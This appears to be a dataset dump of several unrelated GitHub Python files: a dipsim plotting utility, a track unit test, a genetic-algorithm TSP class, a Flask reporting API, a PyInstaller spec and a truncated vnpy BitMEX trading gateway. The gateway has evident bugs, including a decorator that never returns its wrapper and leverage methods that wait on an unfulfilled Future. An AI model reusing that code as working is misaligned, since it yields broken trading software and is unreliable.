+{"seq_id":"3720809973","text":"from dipsim import visuals\nimport numpy as np\nimport subprocess\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport vispy\n\ndef plot_sphere(filename=None, directions=None, data=None, interact=False,\n                color_norm='linear', color_min=0, color_max=None,\n                gamma=0.25, color_map='coolwarm', linthresh=1e-3,\n                my_ax=None, my_cax=None, dpi=500, vis_px=1000,\n                save_file=False):\n\n    # Setup viewing window\n    vispy.use('glfw')\n    canvas = vispy.scene.SceneCanvas(keys='interactive', bgcolor='white',\n                               size=(vis_px, vis_px), show=interact)\n    my_cam = vispy.scene.cameras.turntable.TurntableCamera(fov=0, azimuth=135,\n                                                           scale_factor=2.05)\n    view = canvas.central_widget.add_view(camera=my_cam)\n\n    # Plot dots\n    dots = vispy.scene.visuals.Markers(parent=view.scene)\n    dots.antialias = False\n    dots.set_data(pos=np.array([[1.01,0,0],[0,1.01,0],[0,0,1.01]]),\n                  edge_color='black', face_color='black', size=vis_px/50)\n\n    if color_max == None:\n        color_max = np.max(data)\n    \n    # Calculate colors\n    if color_norm == 'linear':\n        norm = matplotlib.colors.Normalize(vmin=color_min, vmax=color_max)\n    elif color_norm == 'log':\n        norm = matplotlib.colors.LogNorm(vmin=color_min, vmax=color_max)\n    elif color_norm == 'linlog':\n        norm = matplotlib.colors.SymLogNorm(linthresh=linthresh, vmin=-color_max, vmax=color_max)\n    elif color_norm == 'power':\n        norm = matplotlib.colors.PowerNorm(gamma=gamma, vmin=data.min(), vmax=data.max())\n\n    norm_data = norm(data).data\n    norm_data = np.expand_dims(norm_data, 1)    \n    cmap = matplotlib.cm.get_cmap(color_map)\n    colors = np.apply_along_axis(cmap, 1, norm_data)\n    \n    # Plot sphere\n    sphere = visuals.MySphere(parent=view.scene, radius=1.0,\n                              directions=directions, colors=colors)\n    \n    # Display or save\n    if interact:\n        visuals.MyXYZAxis(parent=view.scene, origin=[0,1.3,-0.3], length=0.2)\n        canvas.app.run()\n    else:\n        im = canvas.render()\n        f = plt.figure(figsize=(5,5))\n        local_ax = plt.axes([0.0, 0, 0.9, 0.9]) # x, y, width, height\n        local_cax = plt.axes([0.95, 0.01, 0.025, 0.86])\n\n        if my_ax == None:\n            my_ax = local_ax\n        if my_cax == None:\n            my_cax = local_cax\n        \n        for (ax, cax) in [(local_ax, local_cax), (my_ax, my_cax)]:\n            ax.axis('off')\n            draw_axis(ax)\n            cmap = ax.imshow(im, interpolation='none', cmap=color_map, norm=norm)\n            f.colorbar(cmap, cax=cax, orientation='vertical')\n\n        # Save\n        if save_file:\n            f.savefig(filename, dpi=dpi)\n            \ndef draw_axis(ax, x=0.925, y=0.1):\n    length=0.1\n    center=np.array((x, y))\n    angles = np.pi/2 + np.array((0, 2*np.pi/3, 4*np.pi/3))\n    labels = ('$z$', '$x$', '$y$')\n    for angle, label in zip(angles, labels):\n        end = center + np.array((length*np.cos(angle), length*np.sin(angle)))\n        ax.annotate(label,ha='center', va='center', xy=center, xytext=end,\n                    xycoords='axes fraction', \n                    arrowprops=dict(arrowstyle=\"<-\", shrinkA=0, shrinkB=0),\n                    fontsize=14)\n\ndef generate_caxs(axs):\n    caxs = []\n    for ax in axs.flatten():\n        divider = make_axes_locatable(ax)\n        caxs.append(divider.append_axes(\"right\", size=\"5%\", pad=0.15))\n    return np.array(caxs).reshape(axs.shape)\n        \ndef draw_scene(scene_string, filename='out.png', my_ax=None, dpi=500,\n               save_file=False, chop=True):\n                \n    asy_string = \"\"\"\n    import three;\n    import graph3;\n    settings.outformat = \"pdf\";\n    settings.prc = true;\n    settings.embed= true;\n    settings.render=16;\n\n    size(6cm,6cm);\n    currentprojection = orthographic(1, 1, 1);\n\n\n    void circle(real Theta, real Alpha, bool dash, triple color) {\n      triple normal = expi(Theta, 0);\n      real h = 1 - sqrt(2 - 2*cos(Alpha) - sin(Alpha)^2);\n      real radius = sin(Alpha);\n      path3 mycircle = circle(c=h*normal, r=radius, normal=normal);\n      if (dash) {\n        draw(mycircle, p=linetype(new real[] {8,8}, offset=xpart(color))+rgb(xpart(color), ypart(color), zpart(color)));\n      } else {\n        draw(mycircle, p=rgb(xpart(color), ypart(color), zpart(color)));\n      }\n    }\n\n    void ellipse(real Theta, real Phi, real a, real b, real theta, bool dash, triple color) {\n      triple normal = expi(Theta, Phi);\n      real a_scaled = a/max(a, b);\n      real b_scaled = b/max(a, b);      \n      path3 mycircle = rotate(degrees(Phi), Z)*rotate(degrees(Theta), Y)*shift(Z)*rotate(degrees(theta), Z)*scale(a_scaled, b_scaled, 1)*circle(c=O, r=0.05, normal=Z);\n      if (dash) {\n        draw(mycircle, p=linetype(new real[] {8,8}, offset=xpart(color))+rgb(xpart(color), ypart(color), zpart(color)));\n      } else {\n        draw(mycircle, p=rgb(xpart(color), ypart(color), zpart(color)));\n      }\n    }\n\n    void mydot(real Theta, triple color) {\n      triple normal = expi(Theta, 0);\n      dot(normal, p=rgb(xpart(color), ypart(color), zpart(color)));\n    }\n\n    void arrow(real Theta, real Phi_Pol, triple color, bool dash) {\n      if (dash) {\n        draw(rotate(Theta, Y)*rotate(Phi_Pol, Z)*(Z--(Z+0.2*X)), p=linetype(new real[] {4,4}, offset=xpart(color))+rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n        draw(rotate(Theta, Y)*rotate(Phi_Pol, Z)*(Z--(Z-0.2*X)), p=linetype(new real[] {4,4}, offset=xpart(color))+rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n      } else {\n        draw(rotate(Theta, Y)*rotate(Phi_Pol, Z)*(Z--(Z+0.2*X)), p=rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n        draw(rotate(Theta, Y)*rotate(Phi_Pol, Z)*(Z--(Z-0.2*X)), p=rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n      }\n    }\n\n    void dip_arrow(real X, real Y, real Theta, real Phi, real length, triple color) {\n      //draw(-expi(Theta, Phi)--expi(Theta, Phi));\n      draw(shift((X, Y, 0))*(O--length*expi(Theta, Phi)), p=rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n      draw(shift((X, Y, 0))*(O--(-length*expi(Theta, Phi))), p=rgb(xpart(color), ypart(color), zpart(color)), arrow=Arrow3(emissive(rgb(xpart(color), ypart(color), zpart(color)))));\n      dot((X,Y,0), p=rgb(xpart(color), ypart(color), zpart(color)));\n    }\n\n    void watson(real Theta, real Phi, real kappa, real x, real y, real z) {\n     int n_phi = 10;\n     int n_theta = 10;\n\n     real max_radius = 0;\n     if(kappa > 0){\n       max_radius = exp(kappa);\n     }\n     else{\n       max_radius = 1.0;\n     }\n\n     for(int i=0; i <= n_theta; ++i) {\n       real Theta_i = pi*i/n_theta;\n       real weight = exp(kappa*(cos(Theta_i)**2))/max_radius;     \n       path3 mycircle = circle(c=Z*weight*cos(Theta_i), r=weight*sin(Theta_i));\n       draw(shift((x, y, z))*rotate(angle=degrees(Phi), u=O, v=Z)*rotate(angle=degrees(Theta), u=O, v=Y)*mycircle);\n     }\n\n     triple f(real t) {\n       real weight = exp(kappa*(cos(t)**2))/max_radius;\n       return (0, weight*sin(t), weight*cos(t));\n     }\n     path3 phi_path = graph(f, 0, 2pi, operator ..);\n\n     for(int i=0; i <= n_phi; ++i) {\n       real Phi_i = 2*pi*i/n_theta;\n       draw(shift((x, y, z))*rotate(angle=degrees(Phi), u=O, v=Z)*rotate(angle=degrees(Theta), u=O, v=Y)*rotate(angle=degrees(Phi_i), u=(0,0,0), v=(0,0,1))*phi_path);\n     }\n    }\n    real len = 10;\n    draw((-len,-len)--(len,-len)--(len,len)--(-len,len)--(-len,-len), white);\n    draw(scale(128, 256, 0)*unitplane, surfacepen=white+opacity(0.5));\n    defaultpen(fontsize(8pt));\n    draw((0, -10, 0)--(50, -10, 0), L=Label(\"$50$\", position=MidPoint, align=NW));\n    dotfactor=2;\n    \"\"\"\n\n    asy_string += scene_string\n    asy_string += \"dot(O);shipout(scale(4.0)*currentpicture.fit());\"\n\n    text_file = open(\"temp.asy\", \"w\")\n    text_file.write(asy_string)\n    text_file.close()\n\n    subprocess.call(['asy', 'temp.asy'])\n    subprocess.call(['convert', '-density', str(dpi), '-units', 'PixelsPerInch', 'temp.pdf', 'temp.png'])\n\n    im = mpimg.imread('temp.png')\n\n    # Chop top of im to make it square and fix asy error\n    if chop:\n        im = im[int(im.shape[1]*0.075):,:,:]\n    \n    f = plt.figure(figsize=(5, 5), frameon=False)\n    local_ax = plt.axes([0, 0, 1, 1]) # x, y, width, height\n    if my_ax == None:\n        my_ax = local_ax\n\n    for ax in [local_ax, my_ax]:\n        draw_axis(ax)\n        ax.spines['right'].set_color('none')\n        ax.spines['left'].set_color('none')\n        ax.spines['top'].set_color('none')\n        ax.spines['bottom'].set_color('none')\n        ax.xaxis.set_ticks_position('none')\n        ax.yaxis.set_ticks_position('none')\n        ax.xaxis.set_ticklabels([])\n        ax.yaxis.set_ticklabels([])\n\n        # Plot\n        ax.imshow(im, interpolation='none')\n\n    # Save\n    if save_file:\n        print(\"Saving: \"+filename)\n        f.savefig(filename, dpi=dpi)\n\n    subprocess.call(['rm', 'temp.asy', 'temp.pdf', 'temp.png'])\n    return ax\n","repo_name":"talonchandler/dipsim","sub_path":"notes/2017-10-03-split-aperture-coordinate-change/test-analysis/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26180284402","text":"#!/usr/bin/env python3\n\n##############################################################################\n# AUTHOR:   Morgan Visnesky\n# DATE:     11/03/2022\n# FILENAME: TrackSection_UnitTest.py\n# DESCRIPTION:\n#       Code for testing the TrackSection.py file and its Dependencies\n#\n##############################################################################\n\nimport sys\nimport unittest\nimport time\n# tell interpreter where to look for model files\nsys.path.insert(0,\"../Track-System-Models\")\nfrom TrackSection import TrackSection\nfrom BlockModel import  BlockModel\n\nclass TrackSection_UnitTest(unittest.TestCase):\n    \n    def testTrackSectionName(self):\n        self.trackSection = TrackSection(\"Test Section A\")\n        self.assertTrue(self.trackSection.name == \"Test Section A\")\n\n    def testTrackSectionBlocks(self):\n        self.trackSection = TrackSection(\"Test Section A\")\n        for i in range(10):\n            tempBlock = BlockModel(pLine=\"green\", pSection=\"BG\"+str(i), pBlockNumber=i+1)\n            self.trackSection.blocks.append(tempBlock)\n        \n        self.assertTrue(len(self.trackSection.blocks)==10)\n        \n        for i in range(10):\n            self.assertTrue(self.trackSection.blocks[i].blockNumber  == i+1)\n            self.assertTrue(self.trackSection.blocks[i].section == \"BG\"+str(i))\n            self.assertTrue(self.trackSection.blocks[i].line == \"green\")\n\n\nif __name__ == '__main__':\n    print('running unittest')\n    unittest.main()\n","repo_name":"vism2889/ECE_1140_TRAINS","sub_path":"TrackModel/Unit-Tests/TrackSection_UnitTest.py","file_name":"TrackSection_UnitTest.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"39012348424","text":"import random\nimport Hromozom\nimport GrafTSP\n\n\nclass Populacija:\n    def __init__(self):\n        self.velicinaPopulacije = 50\n        self.populacija = []\n\n    def generisiPocetnuPopulaciju(self, g):\n        baznaLista = []\n\n        for i in range(g.n):\n            baznaLista.append(i)\n\n        baznaLista.remove(g.pocetniGrad)\n\n        for i in range(self.velicinaPopulacije):\n            random.shuffle(baznaLista)\n            baznaLista = [g.pocetniGrad] + baznaLista\n            h = Hromozom.Hromozom(baznaLista, g)\n            self.populacija.append(h)\n            baznaLista.remove(g.pocetniGrad)\n\n\n    def generisiNovuPopulaciju(self, g):\n        brojUcesnikaTurnira = int(self.velicinaPopulacije / 3)\n        par = []\n        listaDjece = []\n\n        for i in range(self.velicinaPopulacije):\n            listaUcesnikaTurnira = []\n            checkLista = []\n            for j in range(brojUcesnikaTurnira):\n                indeksUcesnika = random.randint(0, self.velicinaPopulacije - 1)\n                while(indeksUcesnika in checkLista):\n                    indeksUcesnika = random.randint(0, self.velicinaPopulacije - 1)\n\n                checkLista.append(indeksUcesnika)\n                listaUcesnikaTurnira.append(self.populacija[indeksUcesnika])\n\n            minFitnes = listaUcesnikaTurnira[0].fitnes\n            putMinFitnes = listaUcesnikaTurnira[0].geni\n\n            for j in range(len(listaUcesnikaTurnira)):\n                if(listaUcesnikaTurnira[j].fitnes < minFitnes):\n                    minFitnes = listaUcesnikaTurnira[j].fitnes\n                    putMinFitnes = listaUcesnikaTurnira[j].geni\n\n            par.append(putMinFitnes)\n            djeca = ()\n\n            if(i % 2 == 1):\n                hr1 = Hromozom.Hromozom(par[0], g)\n                hr2 = Hromozom.Hromozom(par[1], g)\n                djeca = hr1.razmnozavanje(hr1, hr2, g)\n                par = []\n                listaDjece.append(djeca[0])\n                listaDjece.append(djeca[1])\n\n        self.populacija.clear()\n        for i in listaDjece :\n            self.populacija.append(i)\n","repo_name":"predragzunjic/GeneticAlgorithm","sub_path":"DomaciAI3/Populacija.py","file_name":"Populacija.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"bs","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4771405722","text":"import json\nimport xml.etree.ElementTree as ET\nfrom datetime import datetime\nfrom typing import Any, Dict, List\n\nfrom dict2xml import dict2xml\nfrom flasgger import swag_from\nfrom flask import Response, abort, request\nfrom flask_restful import Resource\n\nfrom web_app.constants import MyEnum\nfrom web_app.data_transformation_func import (_get_order,\n                                              find_info_about_driver,\n                                              made_driver_info_dict,\n                                              made_report, made_short_report)\n\n\ndef output_formatted_data_from_dict(format_value: MyEnum, info_list: List[Any] | dict) -> Response:\n    if format_value == MyEnum.xml:\n        resp = dict2xml(info_list, wrap=\"driver\", indent=\" \")\n        return Response(response=resp, status=200, headers={'Content-Type': 'application/xml'})\n    else:\n        json_str = json.dumps(info_list)\n        return Response(response=json_str.encode('utf-8'), status=200, headers={'Content-Type': 'application/json'})\n\n\ndef output_formatted_data_from_list(format_value: MyEnum, info_list: List[Any] | dict) -> Response:\n    if format_value == MyEnum.xml:\n        drivers = ET.Element(\"response\")\n\n        for driver_info in info_list:\n            driver = ET.SubElement(drivers, \"driver\")\n            for key, value in driver_info.items():\n                ET.SubElement(driver, key).text = str(value)\n\n        resp = ET.tostring(drivers, encoding=\"unicode\")\n\n        return Response(response=resp, status=200, headers={'Content-Type': 'application/xml'})\n    else:\n        json_str = json.dumps(info_list)\n        return Response(response=json_str.encode('utf-8'), status=200, headers={'Content-Type': 'application/json'})\n\n\nclass Report(Resource):\n    @swag_from('swagger/report.yml')\n    def get(self) -> List[Dict[str, Any]] | Response:\n        order = _get_order(request.args.get('order', default='asc'))\n        response_format = MyEnum(request.args.get('format', default='json'))\n        response = made_report(order)\n\n        return output_formatted_data_from_list(response_format, response)\n\n\nclass ShortReport(Resource):\n    @swag_from('swagger/short_report.yml')\n    def get(self) -> List[Dict[str, Any]] | Response:\n        order = _get_order(request.args.get('order', default='asc'))\n        response_format = MyEnum(request.args.get('format', default='json'))\n        response = made_short_report(order)\n\n        return output_formatted_data_from_list(response_format, response)\n\n\nclass ReportDriver(Resource):\n    @swag_from('swagger/report_driver.yml')\n    def get(self, driver_abbr: str) -> dict[str, datetime | None | str] | Response:\n        response_format = MyEnum(request.args.get('format', default='json'))\n        driver = find_info_about_driver(driver_abbr)\n\n        if not driver:\n            abort(404, response={\"message\": \"Driver {} doesn't exist\".format(driver_abbr)})\n        response = made_driver_info_dict(driver)\n\n        return output_formatted_data_from_dict(response_format, response)\n","repo_name":"Danil1994/Web_REST_API_and_DB","sub_path":"web_app/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35676024822","text":"# -*- mode: python -*-\n\nblock_cipher = None\n\ndef addResorces(a, data):\n        for e in data:\n                a.datas += [(e+'.png','/home/nokorot/uio/Documents/Python/snake/'+e+'.png','DATA')]\n\na = Analysis(['main.py'],\n             pathex=['/home/nokorot/uio/Documents/Python/snake'],\n             binaries=None,\n             datas=None,\n             hiddenimports=[],\n             hookspath=[],\n             runtime_hooks=[],\n             excludes=[],\n             win_no_prefer_redirects=False,\n             win_private_assemblies=False,\n             cipher=block_cipher)\n\naddResorces(a, ['snake_head', 'snake_strait', 'snake_tail', 'snake_turn'])\n\npyz = PYZ(a.pure, a.zipped_data,\n             cipher=block_cipher)\nexe = EXE(pyz,\n          a.scripts,\n          a.binaries,\n          a.zipfiles,\n          a.datas,\n          name='main',\n          debug=False,\n          strip=False,\n          upx=True,\n          console=True )\n","repo_name":"Nokorot/PythonGeneral","sub_path":"Snake/snake_01.10.16/main.spec","file_name":"main.spec","file_ext":"spec","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34552054048","text":"# encoding: UTF-8\n\n'''\nvnpy.api.bitmex的gateway接入\n'''\nfrom __future__ import print_function\n\nimport functools\nimport os\nimport json\nimport hashlib\nimport time\nimport traceback\nfrom datetime import datetime, timedelta\nfrom copy import copy\nfrom math import pow\nfrom concurrent.futures import Future\nfrom urllib.error import HTTPError\n\nfrom vnpy.api.bitmex import BitmexRestApi, BitmexWebsocketApiWithHeartbeat as BitmexWebsocketApi\nfrom vnpy.api.bitmex.utils import hmac_new\nfrom vnpy.trader.vtGateway import *\nfrom vnpy.trader.vtFunction import getJsonPath, getTempPath\nfrom vnpy.trader.app.ctaStrategy import CtaTemplate\n\n# 委托状态类型映射\nstatusMapReverse = {}\nstatusMapReverse['New'] = STATUS_NOTTRADED\nstatusMapReverse['Partially filled'] = STATUS_PARTTRADED\nstatusMapReverse['Filled'] = STATUS_ALLTRADED\nstatusMapReverse['Canceled'] = STATUS_CANCELLED\nstatusMapReverse['Rejected'] = STATUS_REJECTED\n\n# 方向映射\ndirectionMap = {}\ndirectionMap[DIRECTION_LONG] = 'Buy'\ndirectionMap[DIRECTION_SHORT] = 'Sell'\ndirectionMapReverse = {v:k for k,v in directionMap.items()}\n\n# 价格类型映射\npriceTypeMap = {}\npriceTypeMap[PRICETYPE_LIMITPRICE] = 'Limit'\npriceTypeMap[PRICETYPE_MARKETPRICE] = 'Market'\n\n########################################################################\nclass BitmexGateway(VtGateway):\n    \"\"\"Bitfinex接口\"\"\"\n\n    #----------------------------------------------------------------------\n    def __init__(self, eventEngine, gatewayName=''):\n        \"\"\"Constructor\"\"\"\n        super(BitmexGateway, self).__init__(eventEngine, gatewayName)\n\n        self.restApi = RestApi(self)\n        self.wsApi = WebsocketApi(self)\n\n        self.qryEnabled = False         # 是否要启动循环查询\n\n        self.fileName = self.gatewayName + '_connect.json'\n        self.filePath = getJsonPath(self.fileName, __file__)\n\n    #----------------------------------------------------------------------\n    def connect(self):\n        \"\"\"连接\"\"\"\n        try:\n            f = open(self.filePath, \"r\")\n        except IOError:\n            log = VtLogData()\n            log.gatewayName = self.gatewayName\n            log.logContent = u'读取连接配置出错，请检查'\n            self.onLog(log)\n            return\n\n        # 解析json文件\n        setting = json.load(f)\n        try:\n            apiKey = str(setting['apiKey'])\n            apiSecret = str(setting['apiSecret'])\n            sessionCount = int(setting['sessionCount'])\n            symbols = setting['symbols']\n            testnet = setting.get('testnet', False)\n        except KeyError:\n            log = VtLogData()\n            log.gatewayName = self.gatewayName\n            log.logContent = u'连接配置缺少字段，请检查'\n            self.onLog(log)\n            return\n\n        # 创建行情和交易接口对象\n        self.restApi.testnet = testnet\n        self.wsApi.testnet = testnet\n        self.restApi.connect(apiKey, apiSecret, sessionCount)\n        self.wsApi.connect(apiKey, apiSecret, symbols)\n\n        setQryEnabled = setting.get('setQryEnabled', None)\n        self.setQryEnabled(setQryEnabled)\n\n        setQryFreq = setting.get('setQryFreq', 60)\n        self.initQuery(setQryFreq)\n\n    #----------------------------------------------------------------------\n    def subscribe(self, subscribeReq):\n        \"\"\"订阅行情\"\"\"\n        pass\n    \n    def setLeverage(self, symbol, leverage):\n        fut = Future()\n        rep = fut.result()\n        return rep\n\n    def getLeverage(self, symbol):\n        fut = Future()\n        rep = fut.result()\n        return rep\n\n    #----------------------------------------------------------------------\n    def sendOrder(self, orderReq):\n        \"\"\"发单\"\"\"\n        return self.restApi.sendOrder(orderReq)\n\n    #----------------------------------------------------------------------\n    def cancelOrder(self, cancelOrderReq):\n        \"\"\"撤单\"\"\"\n        self.restApi.cancelOrder(cancelOrderReq)\n\n    #----------------------------------------------------------------------\n    def close(self):\n        \"\"\"关闭\"\"\"\n        self.restApi.close()\n        self.wsApi.close()\n    \n    #----------------------------------------------------------------------\n    def initQuery(self,  freq = 60):\n        \"\"\"初始化连续查询\"\"\"\n        if self.qryEnabled:\n            # 需要循环的查询函数列表\n            self.qryFunctionList = [self.queryAccount]\n\n            self.qryCount = 0           # 查询触发倒计时\n            self.qryTrigger = freq         # 查询触发点\n            self.qryNextFunction = 0    # 上次运行的查询函数索引\n\n            self.startQuery()\n\n    #----------------------------------------------------------------------\n    def query(self, event):\n        \"\"\"注册到事件处理引擎上的查询函数\"\"\"\n        self.qryCount += 1\n\n        if self.qryCount > self.qryTrigger:\n            # 清空倒计时\n            self.qryCount = 0\n\n            # 执行查询函数\n            function = self.qryFunctionList[self.qryNextFunction]\n            function()\n\n            # 计算下次查询函数的索引，如果超过了列表长度，则重新设为0\n            self.qryNextFunction += 1\n            if self.qryNextFunction == len(self.qryFunctionList):\n                self.qryNextFunction = 0\n\n    #----------------------------------------------------------------------\n    def startQuery(self):\n        \"\"\"启动连续查询\"\"\"\n        self.eventEngine.register(EVENT_TIMER, self.query)\n\n    #----------------------------------------------------------------------\n    def setQryEnabled(self, qryEnabled):\n        \"\"\"设置是否要启动循环查询\"\"\"\n        self.qryEnabled = qryEnabled\n\n    def initPosition(self, vtSymbol):\n        pass\n\n    def queryPosition(self):\n        pass\n        \n    def loadHistoryBar(self, vtSymbol, type_, size= None, since = None):\n        KlinePeriodMap = {}\n        KlinePeriodMap['1min'] = '1m'\n        KlinePeriodMap['5min'] = '5m'\n        KlinePeriodMap['60min'] = '1h'\n        KlinePeriodMap['1day'] = '1d'\n        if type_ not in KlinePeriodMap.keys():\n            self.writeLog(\"不支持的历史数据初始化方法，请检查type_参数\")\n            self.writeLog(\"BITMEX Type_ hint：1min,5min,60min,1day\")\n            return '-1'\n\n        symbol= vtSymbol.split(VN_SEPARATOR)[0]\n        return self.restApi.rest_future_bar(symbol, KlinePeriodMap[type_], size, since)\n\n\n\n    def qryAllOrders(self, vtSymbol, order_id, status= None):\n        pass\n\n########################################################################\ndef catch_error_with_gateway(func):\n    @functools.wraps(func)\n    def wrapper(self, *args, **kwargs):\n        try:\n            return func(self, *args, **kwargs)\n        except Exception as e:\n            err = VtErrorData()\n            err.errorMsg = e\n            self.gateway.onError(e)\n            return None\n\nclass RestApi(BitmexRestApi):\n    \"\"\"REST API实现\"\"\"\n\n    #----------------------------------------------------------------------\n    def __init__(self, gateway):\n        \"\"\"Constructor\"\"\"\n        super(RestApi, self).__init__()\n\n        self.gateway = gateway                  # gateway对象\n        self.gatewayName = gateway.gatewayName  # gateway对象名称\n        \n        self.orderId = 1000000\n        self.date = int(datetime.now().strftime('%y%m%d%H%M%S')) * self.orderId\n        \n    #----------------------------------------------------------------------\n    def connect(self, apiKey, apiSecret, sessionCount):\n        \"\"\"连接服务器\"\"\"\n        self.init(apiKey, apiSecret)\n        self.start(sessionCount)\n        \n        self.writeLog(u'REST API启动成功')\n    \n    #----------------------------------------------------------------------\n    def writeLog(self, content):\n        \"\"\"发出日志\"\"\"\n        log = VtLogData()\n        log.gatewayName = self.gatewayName\n        log.logContent = content\n        self.gateway.onLog(log)\n    \n    #----------------------------------------------------------------------\n    def sendOrder(self, orderReq):\n        \"\"\"\"\"\"\n        self.orderId += 1\n        orderId = self.date + self.orderId\n        vtOrderID = VN_SEPARATOR.join([self.gatewayName, str(orderId)])\n        symbol = orderReq.symbol.split(VN_SEPARATOR)[0]\n        \n        req = {\n            'symbol': orderReq.symbol,\n            'side': directionMap[orderReq.direction],\n            'ordType': priceTypeMap[orderReq.priceType],            \n            'price': orderReq.price,\n            'orderQty': orderReq.volume,\n            'clOrdID': str(orderId)\n        }\n        \n        self.addReq('')\n        self.addReq('POST', '/order', self.onSendOrder, postdict=req)\n        \n        return vtOrderID\n    \n    #----------------------------------------------------------------------\n    def cancelOrder(self, cancelOrderReq):\n        \"\"\"\"\"\"\n        orderID = cancelOrderReq.orderID\n        if orderID.isdigit():\n            req = {'clOrdID': orderID}\n        else:\n            req = {'orderID': orderID}\n        \n        self.addReq('DELETE', '/order', self.onCancelOrder, params=req)\n\n    #----------------------------------------------------------------------\n    def onSendOrder(self, data, reqid):\n        \"\"\"\"\"\"\n        print(data, reqid)\n    \n    #----------------------------------------------------------------------\n    def onCancelOrder(self, data, reqid):\n        \"\"\"\"\"\"\n        pass\n\n    @catch_error_with_gateway\n    def setLeverage(self, symbol, leverage):\n        assert 0<=leverage<=20, \"杠杆率应该在0到20之间\"\n        req = {\"leverage\": leverage, \"symbol\": symbol}\n        rep = self.blockReq('POST', '/position/leverage', postdict=req)\n        if \"leverage\" in rep:\n            return int(rep[\"leverage\"])\n        else:\n            raise ValueError(\"setLeverage返回未知数据: %s\" % rep)\n\n    @catch_error_with_gateway\n    def getLeverage(self, symbol):\n        fut = Future()\n        rep = self.blockReq(\"GET\", \"/position\", params={\"symbol\": symbol})\n        if \"leverage\" in rep:\n            return int(rep[\"leverage\"])\n        else:\n            raise ValueError(\"getLeverage返回未知数据: %s\" % rep)\n\n    #----------------------------------------------------------------------\n    def onError(self, code, error, reqid):\n        \"\"\"\"\"\"\n        e = VtErrorData()\n        e.errorID = code\n        e.errMsg = error\n        e.additionalInfo = \"请求编号:%s\" % reqid\n        self.gateway.onError(e)\n    \n    def rest_future_bar(self,symbol, type_, size, since = None):\n        kline = self.restKline(symbol, type_, size, since)\n        return kline\n        \n\n########################################################################\nclass WebsocketApi(BitmexWebsocketApi):\n    \"\"\"\"\"\"\n\n    #----------------------------------------------------------------------\n    def __init__(self, gateway):\n        \"\"\"Constructor\"\"\"\n        super(WebsocketApi, self).__init__()\n        \n        self.gateway = gateway\n        self.gatewayName = gateway.gatewayName\n        \n        self.apiKey = ''\n        self.apiSecret = ''\n        \n        self.callbackDict = {\n            'trade': self.onTick,\n            'orderBook10': self.onDepth,\n            'execution': self.onTrade,\n            'order': self.onOrder,\n            'position': self.onPosition,\n            'margin': self.onAccount,\n            'instrument': self.onContract\n        }\n        \n        self.tickDict = {}\n        self.accountDict = {}\n        self.orderDict = {}\n        self.tradeSet = set()\n        \n    #----------------------------------------------------------------------\n    def connect(self, apiKey, apiSecret, symbols):\n        \"\"\"\"\"\"\n        self.apiKey = apiKey\n        self.apiSecret = apiSecret\n        \n        for symbol in symbols:\n            tick = VtTickData()\n            tick.gatewayName = self.gatewayName\n            tick.symbol = symbol\n            tick.exchange = EXCHANGE_BITMEX\n            tick.vtSymbol = VN_SEPARATOR.join([tick.symbol, tick.gatewayName])\n            self.tickDict[symbol] = tick\n            \n        self.start()\n    \n    #----------------------------------------------------------------------\n    def onConnect(self):\n        \"\"\"连接回调\"\"\"\n        self.writeLog(u'Websocket API连接成功')\n        self.authenticate()\n    \n    #----------------------------------------------------------------------\n    def onData(self, data):\n        \"\"\"数据回调\"\"\"\n        if 'request' in data:\n            req = data['request']\n            success = data.get(\"success\", False)\n            \n            if req['op'] == 'authKey':\n                if success:\n                    self.writeLog(u'Websocket API验证授权成功')\n                    self.subscribe()\n                else:\n                    self.writeLog(u'Websocket API验证失败,退出连接')\n                    self.close()\n            \n        elif 'table' in data:\n            name = data['table']\n            callback = self.callbackDict[name]\n            \n            if isinstance(data['data'], list):\n                for d in data['data']:\n                    callback(d)\n            else:\n                callback(data['data'])\n            \n            #if data['action'] == 'update' and data['table'] != 'instrument':\n                #callback(data['data'])\n            #elif data['action'] == 'partial':\n                #for d in data['data']:\n                    #callback(d)\n\n    \n    #----------------------------------------------------------------------\n    def onError(self, msg):\n        \"\"\"错误回调\"\"\"\n        self.writeLog(msg)\n    \n    #----------------------------------------------------------------------\n    def writeLog(self, content):\n        \"\"\"发出日志\"\"\"\n        log = VtLogData()\n        log.gatewayName = self.gatewayName\n        log.logContent = content\n        self.gateway.onLog(log)    \n\n    #----------------------------------------------------------------------\n    def authenticate(self):\n        \"\"\"\"\"\"\n        expires = int(time.time())\n        method = 'GET'\n        path = '/realtime'\n        msg = method + path + str(expires)\n        signature = hmac_new(self.apiSecret, msg, digestmod=hashlib.sha256).hexdigest()\n        \n        req = {\n            'op': 'authKey', \n            'args': [self.apiKey, expires, signature]\n        }\n        self.sendReq(req)\n\n    #----------------------------------------------------------------------\n    def subscribe(self):\n        \"\"\"\"\"\"\n        req = {\n            'op': 'subscribe',\n            'args': ['instrument', 'trade', 'orderBook10', 'execution', 'order', 'position', 'margin']\n        }\n        self.sendReq(req)\n    \n    #----------------------------------------------------------------------\n    def onTick(self, d):\n        \"\"\"\"\"\"\n        symbol = d['symbol']\n\n        tick = self.tickDict.get(symbol, None)\n        if not tick:\n            return\n        \n        tick.lastPrice = d['price']\n        \n        date, time = str(d['timestamp']).split('T')\n        tick.date = 